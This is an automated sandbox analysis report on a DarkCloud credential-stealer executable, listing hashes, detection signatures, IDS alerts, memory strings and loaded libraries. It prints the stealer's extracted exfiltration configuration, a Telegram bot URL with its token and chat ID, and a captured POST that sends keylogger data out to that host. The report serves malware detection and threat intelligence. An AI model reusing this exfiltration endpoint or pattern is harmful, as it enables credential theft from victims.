Edit tour

Windows Analysis Report
MSM8C42iAN.exe

Overview

General Information

Sample name:	MSM8C42iAN.exe renamed because original name is a hash value
Original sample name:	d2678115448e9a9e3909fb7dcaf85eca9a28326fbd93d77d8608fd4d526c7dbb.exe
Analysis ID:	1562316
MD5:	1a170c3b6fba79020b7c24631d25ad93
SHA1:	4b2f3033eea4069c5685e9e6ca782f8f2551a685
SHA256:	d2678115448e9a9e3909fb7dcaf85eca9a28326fbd93d77d8608fd4d526c7dbb
Tags:	exeuser-adrian__luca
Infos:

Detection

DarkCloud

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DarkCloud

AI detected suspicious sample

Machine Learning detection for sample

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Uses the Telegram API (likely for C&C communication)

Writes or reads registry keys via WMI

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

MSM8C42iAN.exe (PID: 2220 cmdline: "C:\Users\user\Desktop\MSM8C42iAN.exe" MD5: 1A170C3B6FBA79020B7C24631D25AD93)

WmiPrvSE.exe (PID: 6104 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkCloud Stealer	Stealer is written in Visual Basic.	No Attribution	https://asec.ahnlab.com/en/53128/ https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/	https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud

Malware Configuration

Threatname: DarkCloud

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendMessage?chat_id=6115850689"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
MSM8C42iAN.exe	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1332379073.0000000000401000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: MSM8C42iAN.exe PID: 2220	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: MSM8C42iAN.exe PID: 2220	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.MSM8C42iAN.exe.400000.0.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security

Suricata Signatures

ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T13:55:51.613113+0100	2045300	1	A Network Trojan was detected	192.168.2.9	49810	149.154.167.220	443	TCP
2024-11-25T13:56:11.286732+0100	2045300	1	A Network Trojan was detected	192.168.2.9	49858	149.154.167.220	443	TCP
2024-11-25T13:56:22.655567+0100	2045300	1	A Network Trojan was detected	192.168.2.9	49882	149.154.167.220	443	TCP
2024-11-25T13:56:33.469124+0100	2045300	1	A Network Trojan was detected	192.168.2.9	49907	149.154.167.220	443	TCP
2024-11-25T13:56:45.035711+0100	2045300	1	A Network Trojan was detected	192.168.2.9	49934	149.154.167.220	443	TCP
2024-11-25T13:56:55.907470+0100	2045300	1	A Network Trojan was detected	192.168.2.9	49961	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T13:55:14.377978+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49727	162.55.60.2	80	TCP

ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T13:55:50.728340+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49810	149.154.167.220	443	TCP
2024-11-25T13:55:53.894967+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49819	149.154.167.220	443	TCP
2024-11-25T13:56:03.957248+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49843	149.154.167.220	443	TCP
2024-11-25T13:56:10.401207+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49858	149.154.167.220	443	TCP
2024-11-25T13:56:14.744005+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49867	149.154.167.220	443	TCP
2024-11-25T13:56:21.569883+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49882	149.154.167.220	443	TCP
2024-11-25T13:56:26.054789+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49891	149.154.167.220	443	TCP
2024-11-25T13:56:32.550753+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49907	149.154.167.220	443	TCP
2024-11-25T13:56:37.037797+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49918	149.154.167.220	443	TCP
2024-11-25T13:56:44.129248+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49934	149.154.167.220	443	TCP
2024-11-25T13:56:48.119157+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49945	149.154.167.220	443	TCP
2024-11-25T13:56:54.986328+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49961	149.154.167.220	443	TCP
2024-11-25T13:56:59.413753+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.9	49970	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 8455Connection: Keep-AliveCache-Control: no-cache

Source: MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schema.org
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net.
Source: MSM8C42iAN.exe, 00000000.00000003.1891223171.000000000060F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1813011207.000000000060E000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.0000000000607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net/
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.0000000000607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net/1
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net4
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.netd
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.netll
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.netpD
Source: MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.maxmind.com
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSM8C42iAN.exe, 00000000.00000003.1891081431.0000000003493000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891132344.0000000000664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/
Source: MSM8C42iAN.exe, 00000000.00000003.1891132344.0000000000664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/abcdefghijklmnopqrstuvwxyz
Source: MSM8C42iAN.exe	String found in binary or memory: https://api.telegram.org/bot
Source: MSM8C42iAN.exe, 00000000.00000003.1891081431.0000000003493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=
Source: MSM8C42iAN.exe, 00000000.00000003.1813114556.0000000000667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSM8C42iAN.exe, 00000000.00000003.1442535526.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442510011.0000000000641000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1
Source: MSM8C42iAN.exe, 00000000.00000003.1890989393.000000000346B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://showip.net/
Source: MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://showip.net/?checkip=
Source: MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://unpkg.com/leaflet
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSM8C42iAN.exe, 00000000.00000003.1442535526.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442510011.0000000000641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7
Source: MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openstreetmap.org/copyright

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49934 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: MSM8C42iAN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Writes or reads registry keys via WMI

Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey

Source: MSM8C42iAN.exe

Static PE information: Resource name: CUSTOM type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed

Source: MSM8C42iAN.exe

Binary or memory string: OriginalFilenamesootiest.exe vs MSM8C42iAN.exe

Source: MSM8C42iAN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: MSM8C42iAN.exe

Binary or memory string: D*\AC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp4A@=

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@2/18@2/2

Source: C:\Users\user\Desktop\MSM8C42iAN.exe

Mutant created: NULL

Source: MSM8C42iAN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\MSM8C42iAN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSM8C42iAN.exe, 00000000.00000003.1403774208.00000000005C1000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1404088936.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1403654652.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, LogqueintiseRngmeEXkkcAcRDShRzsDXooICEfirelit.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MSM8C42iAN.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\MSM8C42iAN.exe "C:\Users\user\Desktop\MSM8C42iAN.exe"
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding

Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: esscli.dll	Jump to behavior

Source: C:\Users\user\Desktop\MSM8C42iAN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\InprocServer32

Jump to behavior

Source:

Binary string: W.pdb4 source: MSM8C42iAN.exe

Source: MSM8C42iAN.exe

Static PE information: real checksum: 0x7e01c should be: 0x796ef

Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\MSM8C42iAN.exe

Window / User API: foregroundWindowGot 1776

Jump to behavior

Source: WebData.0.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: WebData.0.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
